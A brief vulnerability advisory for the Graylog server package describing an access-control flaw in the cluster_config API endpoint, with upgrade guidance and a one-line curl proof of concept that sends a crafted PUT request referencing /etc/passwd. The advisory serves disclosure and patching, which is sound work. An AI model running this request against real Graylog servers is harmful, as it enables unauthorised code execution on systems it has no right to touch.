How to fix?

Upgrade org.graylog2:graylog2-server to version 5.1.11, 5.2.4 or higher.

Overview

org.graylog2:graylog2-server is a log management platform.

Affected versions of this package are vulnerable to Improper Access Control via the /api/system/cluster_config/ endpoint. An attacker can execute arbitrary code that is run during class instantiation by sending a specially crafted HTTP PUT request.

Note:

This is only exploitable if the attacker possesses the clusterconfigentry:create and clusterconfigentry:edit permissions, which are typically only granted to Admin users.

PoC

curl -u admin:<admin-password> -X PUT http://localhost:9000/api/system/cluster_config/java.io.File \
    -H "Content-Type: application/json" \
    -H "X-Requested-By: poc" \
    -d '"/etc/passwd"'
